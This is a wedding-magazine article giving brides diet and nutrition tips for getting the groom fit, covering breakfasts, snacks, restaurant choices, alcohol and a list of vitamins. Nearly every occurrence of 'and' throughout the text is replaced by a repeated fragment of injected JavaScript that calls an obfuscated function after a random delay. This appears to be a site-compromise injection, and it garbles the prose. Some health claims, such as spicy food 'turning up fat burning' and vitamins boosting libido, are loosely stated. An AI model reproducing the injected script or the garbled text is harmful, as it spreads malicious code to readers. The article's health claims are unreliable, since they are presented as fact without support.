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Tips for your groom to get fit before the big day

Tips for your groom to get fit before the big day

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Fitness Expert Fiona Kirk gives you some tips to ensure your groom is the best man he can be on the big day

It goes without saying that it’s going to be a fabulous day andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} you are going to look amazing! You have read all the magazines, planned everything to within an inch of it’s life, got the dress andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} embarked on your diet andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} fitness programme – all carefully timed to produce the perfect ‘look’ on the big day to ensure the wedding photos show you off at your absolute best.

 

But, what about ‘the groom’? Bear in mind, you have to look at these photos for years to come! Is he ‘perfect in every way’ (in which case, you needn’t read on) or is he in danger of letting you down? Has he been keeping a careful eye on what he is eating andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} drinking, taking lots of regular exercise andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} looking after himself to ensure that you both look great on the day?

 

No, I thought not. They just don’t see what all the fuss is about, do they?

 

Well, here’s a cunning andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} devious plan to help him look andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} feel like Keanu Reeves (or whoever ‘rocks your boat’!) on one of the most important days of your life (andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} his!):-

 

1. If you have the kind of relationship where he will regard your ‘interference’ as that of a caring andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} concerned future wife, share your plan with him. If not, DON’T TELL HIM! If he thinks you are ‘on a mission’, he’s likely to throw a tantrum andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} put obstacles in the way – all the way!

2. Make a list of the things that could be improved (both for your long-term sanity andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} for his long-term health andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} wellbeing). Planning your ‘big day’ is all about lists after all – this is just another one!

 

 Is he overweight (andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} not bothered)?

 Is work ‘stressing him out’?

 Is he often too tired to go out?

 Is he ‘delivering’ in the bedroom?

 Is his skin bad?

 Is he losing his hair rather too fast?

 Does he ‘never find time’ to exercise?

 

If some (or all) of the above feature on your list, read on for some ‘tips’ on how to introduce a few new foods, drinks, eating andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} lifestyle habits that could really make a difference.

 

Does he do breakfast? Your metabolic ‘engine’ slows down overnight andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} if you don’t give it a kick-start in the morning, it will stay sluggish all day andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} won’t ‘burn’ your foods (andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} any excess fat) to provide energy, so it’s vital that you eat something within an hour of getting up. To ensure the ‘drip feed’ effect of glucose (blood sugar) into the bloodstream, a combination of dense carbohydrates, protein andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} ‘good’ fats is the key. Instead of a bowl of sugary cereal andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} milk, toast andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} marmalade, a couple of croissants or a ‘latte andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a muffin’ grabbed on the way to work, suggest some of these:-

 

 Porridge with milk, chopped banana andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a squirt of honey

 A toasted whole wheat bagel with low fat cream cheese andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} strips of smoked salmon

 A bowl of raw oats soaked with a little apple juice, a dollop of natural Greek yoghurt andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a handandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}ful of berries andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} mixed fresh nuts andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} seeds

 Scrambled eggs on dark brown toast or a couple of boiled eggs with brown ‘soldiers’

 ‘low sugar/low salt’ baked beans on mixed grain brown toast

 If he can only manage to grab something on the way to work occasionally, suggest fruit smoothies (with yoghurt), bags of fresh mixed nuts, ‘breakfast bars’ (if sugar or anything ending with the letters ‘-ose’ are listed in the first few ingredients, give it a wide berth – it’s more sugar than nourishment!), granola, mixed fresh fruit salads or vegetably, meaty, beany andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} fishy soups with a brown bagel

 If he can’t resist a ‘Full English’ at the weekend, a couple of venison sausages, a few slices of lean, organic, back bacon, grilled tomatoes andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} mushrooms, low sugar/low salt baked beans, scrambled or poached eggs andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a couple of slices of whole wheat toast will do him a lot more favours ‘health-wise’ than a the typical ‘greasy fry-up’.

 

We should all aim to eat something every 3 hours between breakfast andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} dinner andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} try to include protein every time. Guys have more muscle than us girls andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} protein is essential for building andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} maintaining muscle. And, muscle is more metabolically active (uses more calories) than fat andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} therefore very important for weight-loss. The addition of protein to every meal andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} snack also slows down the rate at which ‘sugars’ are released into the bloodstream, thus avoiding the ‘energy dips’ which result in loss of concentration, the ‘mid-afternoon’ slump, cravings for stimulants (coffee, cigarettes, biscuits, crisps, cakes etc.) andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the likelihood that the grandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} plan to ‘hit the gym’ on the way home just doesn’t happen. Some of these meal andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} snack suggestions could be just what he needs to ‘stay on track’:-

 

 Soup – huge variety out there! Filling, nutritious andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} ‘hearty’, available on every street in every town from John ‘O Groats to Landandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}’s End, easy to make yourself (if time allows) andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} a fabulous alternative to ‘junk’ or ‘fast’ meals or snacks. Stay away from the creamy ones andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} go for those with protein (beany, brothy, meaty, fishy)

 Baked potatoes (or baked sweet potatoes) filled with baked beans, cottage cheese + pineapple, roasted mixed vegetables, tuna (watch the mayo), hummus with cucumber + tomatoes, yoghurt mixed with salsa + cold cooked chicken

 Pick up a selection of salads from the ‘deli’ – avoid all the ones with mayonnaise andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} go for greens, vegetables, rice, couscous, lentils, beans, fish, shellfish, chicken, duck (one large or two small), sling on some roasted nuts andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} dress with hummus or tzatziki. Bin those little packets of sugary dressings that often accompany!

 Sushi works! Go for the ones with fish or seafood andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} have a mug of soup, a couple of oatcakes andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} some fruit

 If a roll or a sandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}wich is unavoidable, head for the ‘takeaways’ where you ‘design your own’ andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} ask for the brownest bun, loads of salad stuffs, lean meat or chicken, a ‘yoghurty’ sauce andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} find some fruit andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} fresh nuts andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} seeds to nibble on while you deliberate

 Other good snacks include:- a couple of cold boiled eggs, a cold cooked chicken leg, sardines on toast, mini oatcakes with a small pot of hummus, fresh fruit with parma ham andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} mini mozzarella balls, tray of baby raw vegetables with cottage cheese, tzatziki or guacamole, mixed olives with feta cheese, fresh dates stuffed with almonds or pistachios, mini pitta pockets filled with tinned tuna andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} cucumber, vegetable wraps.

 

Ditch the starchy carbs at dinner time. Unless he has done some serious physical exercise after work (andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} should definitely re-stock the glycogen stores), starchy carbs will only slow him down, ‘bag him up’ andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} encourage weight gain. Steer him towards good sources of protein - lean meat andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} game, fish andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} shellfish, beans, lentils andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} tofu (unlikely but worth a try!), hard cheeses or eggs andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} fill the plate with a host of vegetables (steamed, stir fried, roasted, baked). Not quite so easy if he is eating out but there are loads of ‘better choices’:-

 

Chinese/Thai/Malaysian - choose boiled rice over fried rice andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} opt for soup, stir fry or spicy noodle dishes andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} lots of steamed ‘greens’

Indian - swap creamy kormas andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} fried pakoras for a tandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}oori. The hot, dry andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} spicy combination really turns up the ‘fat burning’ mechanism. Tomato-based dhansak or pathia are also a good choice. Add a lentil or chick-pea dahl andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} opt for boiled rice or poppadoms rather than pilau rice

Italian - go for a tomato andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} chilli-based pasta dishes like penne arrabiatta or puttanesca rather than a creamy carbonara or lasagne

Japanese - raw fish, boiled rice, noodle soup…almost everything in the Japanese kitchen can be considered ‘healthy’, so enjoy! Just go easy on the salty soy sauce

Mexican - chargrilled dishes such as cajun spiced fish or fajitas are a good option. Avoid the sour cream andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} cheese but load up on guacamole andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} salsa.

 

Does he like a pint? Alcohol is not the ‘demon’ it was once thought to be andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} can help you relax andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} de-stress. But, the perceived health benefits of the much-researched heart-friendly antioxidant nutrients can only be reaped when the ‘little andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} often’ approach is employed. No more than one or two drinks per day for men is the recommendation. A couple of glasses of good red wine top the list andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} while beer andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} cider provide extra nourishment, they are not the best choice for weight loss. Coffee andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} tea aren’t all bad either (more antioxidants), but stick to a macchiato rather than a milky cappuccino or latte andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} choose black or green tea. One coffee andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} two teas per day should be the max. And, ALWAYS HAVE AT LEAST ONE LARGE GLASS (OR A SMALL BOTTLE) OF WATER EVERY 3 HOURS. Your brain, your skin cells, your digestive system, your heart, your lungs andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} your muscles can only work efficiently if they are regularly hydrated.

 

The above suggestions provide a range of nutrients, vitamins andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} minerals important for your man’s energy levels, heart, digestive andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} skin health, immune system, weight management/maintenance, stress levels andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} libido:-

 

Vitamin C – a powerful antioxidant which boosts sex drive, maintains healthy bones andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} teeth, provides resistance to infection, controls blood cholesterol levels, produces anti-stress hormones andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} promotes brain andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} nerve transmission. Good food sources:- all vegetables, fruit andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} sprouted beans (alfalfa, mung beans etc).

 

The B vitamins – help to convert glucose into energy andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} allow more blood to the ‘parts that matter’, regulate testosterone levels, increase libido andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the ‘feel good’ factor, promote good digestion andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} maintain healthy skin. Good food sources:- whole grains (especially brown rice, nuts, lean meat, fish, eggs, dairy produce, avocados andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} broccoli).

 

Vitamin A – vital for eye health andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the strength of bones andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} teeth. Also a primary antioxidant for heart andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} cardiovascular health. Good food sources:- yellow andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} orange fruit andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} vegetables, dark green ‘leafies’, liver, dairy produce, eggs andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} oily fish.

 

Vitamin E – works together with vitamin C to protect the heart andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} cardiovascular system, maintain the quality of hair andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} skin andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} vital for sexual health andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} vitality. Good food sources:- brown rice, nuts andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} seeds andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} their oils andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} butters, avocados, oats andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} green ‘leafies’.

 

Zinc – very important for the guys. Vital for sperm health andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} production, essential for skin, hair andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} nail health, ‘key’ to optimising taste andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} smell andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} avoiding susceptibility to infections. Good food sources:- shellfish andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} seafood (particularly oysters andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} sardines), eggs, hard cheese, lamb, chicken, turkey, lean steak, brown rice, lentils, pine nuts, pumpkin andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} sesame seeds.

 

Magnesium – essential for balancing sex hormones, for stamina andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} regulating muscle contraction andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} relaxation of the heart. Also ensures calcium gets into the bones for strength. Good food sources:- Green leafy vegetables, nuts, hard cheese, bananas, cereal grains, caviar andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} seafood.

 

Calcium – essential for cardiovascular health, bone strength andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} growth. Also for nerve transmission andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} the sensitivity of ‘touch’. Good food sources:- dairy products, green leafy vegetables, beans, dried fruit, nuts, canned fish with bones.

 

Iodine – stimulates the thyroid glandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} which regulates metabolism andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} produces energy. Good food sources:- fish andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} shellfish, seaweeds, squash, spinach.

 

Essential Fatty Acids – Omega 3s andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} 6s which govern hormonal balance, nerve transmission, the acuteness of the senses, supple skin andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} ‘fat burning’. Good food sources:- fish, shellfish, nuts, seeds (andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} their oils andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} butters).

 

See Fiona's website Fat Bust Forever for more advice andandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} to find out about her weight loss diets .....

 

Fitness advice

 

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